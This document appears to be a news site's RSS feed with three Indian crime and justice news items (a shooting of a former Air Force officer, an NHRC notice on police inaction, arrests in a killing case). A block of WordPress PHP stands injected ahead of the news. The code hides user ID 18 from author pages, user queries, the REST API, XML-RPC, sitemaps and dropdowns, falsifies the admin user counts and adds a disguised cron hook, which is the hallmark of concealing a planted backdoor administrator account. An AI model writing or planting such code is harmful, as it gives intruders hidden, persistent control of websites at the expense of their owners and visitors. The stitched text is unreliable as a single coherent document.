add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Former Air Force Officer Shot After Being Named in Sushant Golf City appeared first on The Edge Media.
]]>According to police sources the incident took place around ten at night when the officer stopped his car near a shopping complex. Two assailants arrived in another vehicle blocked his way and called out his name. As soon as he responded the attackers opened fire hitting him with a bullet.
Hearing the gunshots people nearby rushed to the spot and informed the police. The injured officer was immediately taken to Medanta Hospital where doctors described his condition as critical. The victim’s wife later lodged a complaint naming unknown persons following which an investigation was initiated.
Police officials stated that the attackers fled the scene immediately after firing. CCTV cameras installed in and around the restaurant and the shopping complex are being examined. The footage reportedly shows two individuals arriving in a vehicle stopping the officer’s car and firing before escaping.
Senior police officials confirmed that eight police teams have been formed to track down the accused. Inputs are also being gathered from local intelligence units. Police believe the attackers had prior information and deliberately targeted the former officer after confirming his identity.
The victim is a resident of Kabirpur Nagar and had previously served in the Air Force before retirement. He had been operating a restaurant in the shopping complex for some time. Further investigation is underway and police have assured that the accused will be arrested soon.
The post Former Air Force Officer Shot After Being Named in Sushant Golf City appeared first on The Edge Media.
]]>The post NHRC Seeks Report on Alleged Police Inaction in Bulandshahr Minor Gangrape Case appeared first on The Edge Media.
]]>According to the reports, police personnel allegedly attempted to stop the survivor, when she tried to approach the Depty Inspector General (D.I.G.) of the Meerut Division to describe the threats and the events, she endured.
The officer eventually met her and ordered an investigation while also transferring the station house officer of Khurja police station to the police line for alleged negligence.
The Commission stated that it has taken Suo Motu Notice of the media coverage, which suggested serious lapses in police response and potential violations of the survivor’s human rights. The NHRC has directed the Uttar Pradesh Director General of police to submit a comprehensive report within two weeks.
The post NHRC Seeks Report on Alleged Police Inaction in Bulandshahr Minor Gangrape Case appeared first on The Edge Media.
]]>The post 2 more held in killing of BJP workers, journalist in Lakhimpur Kheri appeared first on The Edge Media.
]]>
The new arrests, identified as Gurwinder Singh and Vichitra Singh, are related to the assassination of four persons earlier this month, including two Bharatiya Janata Party (BJP) officials, a driver, and a local journalist, according to Kumar.
The post 2 more held in killing of BJP workers, journalist in Lakhimpur Kheri appeared first on The Edge Media.
]]>